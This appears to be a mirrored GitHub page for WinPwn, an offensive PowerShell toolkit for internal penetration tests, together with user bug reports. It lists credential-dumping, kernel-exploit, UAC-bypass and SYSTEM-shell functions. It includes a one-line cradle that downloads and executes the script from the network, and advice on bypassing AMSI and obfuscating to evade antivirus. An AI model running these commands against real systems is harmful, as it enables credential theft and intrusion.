Giter VIP home page Giter VIP logo

winpwn's Introduction

Sponsored by

     

WinPwn

In many past internal penetration tests I often had problems with the existing Powershell Recon / Exploitation scripts due to missing proxy support. I also often ran the same scripts one after the other to get information about the current system and/or the domain. To automate as many internal penetrationtest processes (reconnaissance as well as exploitation) and for the proxy reason I wrote my own script with automatic proxy recognition and integration. The script is mostly based on well-known large other offensive security Powershell projects.

Any suggestions, feedback, Pull requests and comments are welcome!

Just Import the Modules with:

Import-Module .\WinPwn.ps1 or iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')

To bypass AMSI take one of the existing bypass techniques, find the AMSI trigger and manually change it in the bypass function or encode the trigger string. Alternatively obfuscate the whole script.

If you find yourself stuck on a windows system with no internet access - no problem at all, just use Offline_Winpwn.ps1, the most important scripts and executables are included.

Functions available after Import:

  • WinPwn -> Menu to choose attacks:

alt text

  • Inveigh -> Executes Inveigh in a new Console window , SMB-Relay attacks with Session management (Invoke-TheHash) integrated

  • SessionGopher -> Executes Sessiongopher Asking you for parameters

  • Kittielocal ->

    • Obfuscated Invoke-Mimikatz version
    • Safetykatz in memory
    • Dump lsass using rundll32 technique
    • Download and run obfuscated Lazagne
    • Dump Browser credentials
    • Customized Mimikittenz Version
    • Exfiltrate Wifi-Credentials
    • Dump SAM-File NTLM Hashes
    • SharpCloud
  • Localreconmodules ->

    • Collect installed software, vulnerable software, Shares, network information, groups, privileges and many more
    • Check typical vulns like SMB-Signing, LLMNR Poisoning, MITM6 , WSUS over HTTP
    • Checks the Powershell event logs for credentials or other sensitive informations
    • Collect Browser Credentials and history
    • Search for passwords in the registry and on the file system
    • Find sensitive files (config files, RDP files, keepass Databases)
    • Search for .NET Binaries on the local system
    • Optional: Get-Computerdetails (Powersploit) and PSRecon
  • Domainreconmodules ->

    • Collect various domain informations for manual review
    • Find AD-Passwords in description fields
    • Search for potential sensitive domain share files
    • Unconstrained delegation systems/users are enumerated
    • Generate Bloodhound Report
    • MS17-10 Scanner for domain systems
    • Bluekeep Scanner for domain systems
    • SQL Server discovery and Auditing functions - PowerUpSQL
    • MS-RPRN Check for Domaincontrollers or all systems
    • Group Policy Audit with Grouper2
    • An AD-Report is generated in CSV Files (or XLS if excel is installed) with ADRecon
    • Check Printers for common vulns
    • Search for Resource-Based Constrained Delegation attack paths
    • Check all DCs for zerologon - CVE-2020-1472
    • And more, just take a look
  • Privescmodules

    • itm4ns Invoke-PrivescCheck
    • winPEAS
    • Powersploits PowerUp Allchecks, Sherlock, GPPPasswords
    • Dll Hijacking, File Permissions, Registry permissions and weak keys, Rotten/Juicy Potato Check
  • kernelexploits ->

    • MS15-077 - (XP/Vista/Win7/Win8/2000/2003/2008/2012) x86 only!
    • MS16-032 - (2008/7/8/10/2012)!
    • MS16-135 - (WS2k16 only)!
    • CVE-2018-8120 - May 2018, Windows 7 SP1/2008 SP2,2008 R2 SP1!
    • CVE-2019-0841 - April 2019!
    • CVE-2019-1069 - Polarbear Hardlink, Credentials needed - June 2019!
    • CVE-2019-1129/1130 - Race Condition, multiples cores needed - July 2019!
    • CVE-2019-1215 - September 2019 - x64 only!
    • CVE-2020-0638 - February 2020 - x64 only!
    • CVE-2020-0796 - SMBGhost
    • CVE-2020-0787 - March 2020 - all windows versions
    • CVE-2021-34527/CVE-2021-1675 - June 2021 - PrintNightmare
    • CVE-2021-40449 - CallbackHell - October 2021
    • Juicy-Potato Exploit
    • itm4ns Printspoofer
  • UACBypass ->

    • UAC Magic, Based on James Forshaw's three part post on UAC
    • UAC Bypass cmstp technique, by Oddvar Moe
    • DiskCleanup UAC Bypass, by James Forshaw
    • DccwBypassUAC technique, by Ernesto Fernandez and Thomas Vanhoutte
  • SYSTEMShell ->

    • Pop System Shell using CreateProcess
    • Pop System Shell using NamedPipe Impersonation
    • Pop System Shell using Token Manipulation
    • Bind System Shell using UsoClient DLL load or CreateProcess
  • Shareenumeration -> Invoke-Filefinder and Invoke-Sharefinder (Powerview / Powersploit)

  • Domainshares -> Snaffler or Passhunt search over all domain systems

  • Groupsearch -> Get-DomainGPOUserLocalGroupMapping - find Systems where you have Admin-access or RDP access to via Group Policy Mapping (Powerview / Powersploit)

  • Kerberoasting -> Executes Invoke-Kerberoast in a new window and stores the hashes for later cracking

  • PowerSQL -> SQL Server discovery, Check access with current user, Audit for default credentials + UNCPath Injection Attacks

  • Sharphound -> Bloodhound 3.0 Report

  • Adidnsmenu -> Create Active Directory-Integrated DNS Nodes or remove them

  • MS17-10 -> Scan active windows Servers in the domain or all systems for MS17-10 (Eternalblue) vulnerability

  • Sharpcradle -> Load C# Files from a remote Webserver to RAM

  • DomainPassSpray -> DomainPasswordSpray Attacks, one password for all domain users

  • Bluekeep -> Bluekeep Scanner for domain systems

Without parameters, most of the functions can only be used from an interactive shell. So i decided to add the parameters -noninteractive and -consoleoutput to make the script usable from an asynchronous C2-Framework like Empire, Covenant, Cobalt Strike or others. Additionally the -repo parameter was added to use WinPwn with all its features from a local repository. They can be used as follows:

Usage:

-noninteractive -> No questions for functions so that they run with predefined or user defined parameters

-consoleoutput -> The loot/report folders are not created. Every function returns the output to the console so that you can take a look at everything in the Agent logs of your C2-Framework Examples:

WinPwn -noninteractive -consoleoutput -DomainRecon -> This will return every single domain recon script and function and will probably give you really much output

WinPwn -noninteractive -consoleoutput -Localrecon -> This will enumerate as much information for the local system as possible

Generalrecon -noninteractive -> Execute basic local recon functions and store the output in the corresponding folders

UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp -> Execute a stager in a high integrity process from a low privileged session

Kittielocal -noninteractive -consoleoutput -browsercredentials -> Dump Browser-Credentials via Sharpweb returning the output to console

Kittielocal -noninteractive -browsercredentials -> Dump SAM File NTLM-Hashes and store the output in a file

WinPwn -PowerSharpPack -consoleoutput -noninteractive -> Execute Seatbelt, PowerUp, Watson and more C# binaries in memory

Dotnetsearch -consoleoutput -noninteractive -> Search in C:\Program Files\ and C:\Program Files (x86)\ for .NET assemblies

WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo -> Use a local webserver as offline repo to use WinPwn without internet access

Get_WinPwn_Repo.sh:

Usage: ./Get_WinPwn_Repo.sh {Option}

Example: ./Get_WinPwn_Repo.sh --install

Options: --install Download the repository and place it to ./WinPwn_Repo/ --remove Remove the repository ./WinPwn_Repo/ --reinstall Remove the repository and download a new one to ./WinPwn_Repo/ --start-server Start a python HTTP server on port 8000 --help Show this help

TO-DO

  • Some obfuskation
  • More obfuscation
  • Proxy via PAC-File support
  • Get the scripts from my own creds repository (https://github.com/S3cur3Th1sSh1t/Creds) to be independent from changes in the original repositories
  • More Recon/Exploitation functions
  • Add menu for better handling of functions
  • Amsi Bypass
  • Block ETW

CREDITS

Stargazers over time

Stargazers over time

Legal disclaimer:

Usage of WinPwn for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.

winpwn's People

Contributors

0x23353435 avatar luemmelsec avatar s3cur3th1ssh1t avatar web-flow avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

winpwn's Issues

mimikatz update request

Please forgive me for asking this! Is it possible to update Mimkatz (2.2.0 20210810-2) to Offline WinPwn? Thanks in advance!

WinCreds Detected!

Hi,

Anychance you can make a writeup on how you repackaged lazagne into a binary?

Its being caught as it expected by Defender everytime Im using it.

Be great to understand how you did it! ( if you could re-package it one more time that would alos be beneficial ;-)

WinPwn Non-interactive PowerShell Session

WinPwn only works on Interactive session.Can you make it to work on non-interactive session? like how your PowerSharpPack is right now. i can load PowerSharpPack into a non-nteractive session and call on commands. But i cant do that with WinPwn.

safetykatz

Safetykatz in memory dumps the memory perfectly, but as its parsing the dump it crashes while the data scrolls on the screen. using win2k16 ps5. not sure where its crashing. cant test much else in this environment as engagement is complete. but if i get another chance to test ill let you know

btw other than that worked perfectly bypassing AV using the rest of the tools :)

/nowrap nomore!

Could you re-add /nowrap to the ASREP and Kerberaosting options please! Seems to of gone on at least the offline version.

I find the offline version very useful and use it more often as limited access to the internet is a usual position I'm in.

Thanks!

Getting some errors!!

Creating/Checking Log Folders in C:\Users\giri\Desktop\LOL directory:
False
Exception calling "Copy" with "4" argument(s): "Value cannot be null.
Parameter name: destination"
At C:\Users\giri\Desktop\LOL\Offline_WinPwn.ps1:30 char:1

  • [System.Runtime.InteropServices.Marshal]::Copy($msueg, 0, $dfwxos, 6)
  •   + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
      + FullyQualifiedErrorId : ArgumentNullException
    

asdf111

What am I doing wrong? Please help!

How can I pass parameters to mimiload command?

I am looking to pass parameters to mimiload command so that it can be completely non interactive, but the mimiload directly loads the obfuscated mimikatz

How can I pass commands, I am looking for something like

mimiload -consoleoutput -noninteractive -command "coffee exit"

This doesn't seem to work

Weird behaviour observed when using PowerShdll

Hey man I am back with a few queries 👍

So basically i am running WinPwn on a JUMP Server that has both CMD and PS disabled. I am running WinPwn via PowerShdll.

I don't have Internet Access so using Offline_WinPwn

So my query is that i get error messages when i attempt to run the following commands:

PS H:\Desktop2019>WinPwn -noninteractive -consoleoutput -DomainRecon
A parameter cannot be found that matches parameter name 'FullData'.

However when i try to run the same command without the -consoleoutput parameter i get

PS H:\Desktop2019>WinPwn -noninteractive -DomainRecon
A positional parameter cannot be found that accepts argument 'proxy.redacted.local:80'

Any ideas as to why this is occurring? i presume that PowerShdll is not providing verbose error messages so it is kind of hard to understand what is occurring.

However when i run
WinPwn -PowerSharpPack -consoleoutput -noninteractive

I manage to get the output in full.

I would like to know if you have a cheatsheet I could use to run WinPwn in -consoleoutput -noninteractive mode with a list of parameters we can pass because the help menu seems to contian only a few examples of usage if i am not mistaken.

Cheers

ADCS ESC8 check Error

I get the following errors when attempting the ADCS ESC8 check:

Import-Module : Attempting to perform the InitializeDefaultDrives operation on the 'ActiveDirectory' provider failed.
At line:4 char:1

  • Import-Module -Assembly $Assembly
  •   + CategoryInfo          : InvalidOperation: (dynamic_code_mo...ActiveDirectory:ProviderInfo) [Import-Module], Prov
     iderInvocationException
      + FullyQualifiedErrorId : InitializeDefaultDrivesException,Microsoft.PowerShell.Commands.ImportModuleCommand
    
    

Get-ADDomain : Entry point was not found.
At C:\malware\WinPwn\WinPwn.ps1:2129 char:12

  • $Dom = Get-ADDomain
    
  •        ~~~~~~~~~~~~
    
    • CategoryInfo : NotSpecified: (REDACTED:ADDomain) [Get-ADDomain], EntryPointNotFoundException
    • FullyQualifiedErrorId : ActiveDirectoryCmdlet:System.EntryPointNotFoundException,Microsoft.ActiveDirectory.Manag
      ement.Commands.GetADDomain

-------> Searching AD for ADCS Servers
Exception calling "FindAll" with "0" argument(s): "Unknown error (0x80005000)"
At line:4028 char:20

  •         else { $Results = $ObjectSearcher.FindAll() }
    
  •                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : NotSpecified: (:) [], MethodInvocationException
    • FullyQualifiedErrorId : COMException

-------> Searching AD for ADCS Templates
Exception calling "FindAll" with "0" argument(s): "Unknown error (0x80005000)"
At line:4028 char:20

  •         else { $Results = $ObjectSearcher.FindAll() }
    
  •                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : NotSpecified: (:) [], MethodInvocationException
    • FullyQualifiedErrorId : COMException

-------> Searching for the active CA-Server and checking for ESC8 (https://posts.specterops.io/certified-pre-owned-d95910965cd2)

Other domain related recon checks work without errors.

Any suggestions?

Suggest rename of Module

Hi,
The option "1. Collect general domain information" is quite misleading as it goes on to start a password spray.
It would be better if these were two different options. as Just gathering information about the domain is really important without needing to act upon the results directly. Also in large organisations this would hang for 30 minutes+ in my experience trying to get the user list up and ready. (40k Users AD)

Using Invoke-SharpCradle and point it to load Rubeus.exe into memory

On the Rubeus piece, I did find a way to use the Option 14 to load rubeus.exe into PowerShell using the Invoke-SharpCradle module in WinPwn. (Thanks to you again!!)

If I use Invoke-SharpCradle -Url https://raw.githubxxxx -Argument1 asktgt /user:Bob /password:user@123 ---> works perfectly well.

but, from WinPwn when I use the same functionality, why do I need to pass 3 arguments separately? When I prompted for Argument1 I typed: asktgt /user:Bob /password:user@123 and it failed to process! Is it not possible to pass the entire command as string and pass it to Rubeus as Argument1 in WinPwn just like Invoke-SharpCradle!

Please comment!

Help Parameter

Add help parameter for noninteractive + Consoleoutput

Option 4 & 5 - from Offline_WinPwn.ps1 not working as expected

When using the Offline_WinPwn.ps1 and selecting option 4 from the menu - powershell version 5.1 and using rasta-mouses's AMSI bypass im seeing the following error message display to the terminal.

Option 4
Please choose wisely, master:: 4
Find-InterestingDomainShareFile : The term 'Find-InterestingDomainShareFile' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At C:\temp\Offline_WinPwn.ps1:1963 char:16

  •          4{Find-InterestingDomainShareFile >> "$currentPath\Domai ...
    
  •            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : ObjectNotFound: (Find-InterestingDomainShareFile:String) [], CommandNotFoundException
    • FullyQualifiedErrorId : CommandNotFoundException

Option 5
Please choose wisely, master:: 5
Creating/Checking Log Folders in C:\temp directory:
iex : At line:1 char:1
+
This script contains malicious content and has been blocked by your antivirus software.
At C:\temp\Offline_WinPwn.ps1:3396 char:337014

  • ... bDMyJ10NCiR2SlhjZW1kYlZoTnlOUUMgPSAkVHlwZXNbJ3d0c2FwaTMyJ10=")) | iex
  •                                                                   ~~~
    
    • CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
    • FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand

Searching for sensitive Files on the Domain-Network, this can take a while:
Claire : The term 'Claire' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if
a path was included, verify that the path is correct and try again.
At C:\temp\Offline_WinPwn.ps1:3398 char:25

  • if(!$consoleoutput){Claire >> $currentPath\SensitiveFiles.txt}els ...
    
  •                     ~~~~~~
    
    • CategoryInfo : ObjectNotFound: (Claire:String) [], CommandNotFoundException
    • FullyQualifiedErrorId : CommandNotFoundException

shift : The term 'shift' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a
path was included, verify that the path is correct and try again.
At C:\temp\Offline_WinPwn.ps1:3399 char:25

  • if(!$consoleoutput){shift -qgsNZggitoinaTA >> $currentPath\Networ ...
    
  •                     ~~~~~
    
    • CategoryInfo : ObjectNotFound: (shift:String) [], CommandNotFoundException
    • FullyQualifiedErrorId : CommandNotFoundException

Error

image

Not sure if this is unique to me but I am seeing this error being displayed non stop continously.

ClearText password in shared folder issue

everytime I choose to search for cleartext password in shared folder I got this error :

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

You cannot call a method on a null-valued expression.
At line:4384 char:13

  •         $Increment = $SHARE_INFO_1::GetSize()
    
  •         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : InvokeMethodOnNull

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

You cannot call a method on a null-valued expression.
At line:4384 char:13

  •         $Increment = $SHARE_INFO_1::GetSize()
    
  •         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : InvokeMethodOnNull

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

You cannot call a method on a null-valued expression.
At line:4384 char:13

  •         $Increment = $SHARE_INFO_1::GetSize()
    
  •         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : InvokeMethodOnNull

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

You cannot call a method on a null-valued expression.
At line:4384 char:13

  •         $Increment = $SHARE_INFO_1::GetSize()
    
  •         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : InvokeMethodOnNull

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

You cannot call a method on a null-valued expression.
At line:4384 char:13

  •         $Increment = $SHARE_INFO_1::GetSize()
    
  •         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : InvokeMethodOnNull

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

You cannot call a method on a null-valued expression.
At line:4384 char:13

  •         $Increment = $SHARE_INFO_1::GetSize()
    
  •         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : InvokeMethodOnNull

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:4391 char:17

  •             $Info = $NewIntPtr -as $SHARE_INFO_1
    
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

Bloodhound update

Hi can you update the sharphound collector to the latest version please.

I am unable to get NTLM Hashes using Inveigh using WinPwn

I did check the directory but no file is created. Nothing that shows the ntlm hashes. I tried editing the invoke-Inveigh command with FileOutput -Disabled but still couldn't make it work.
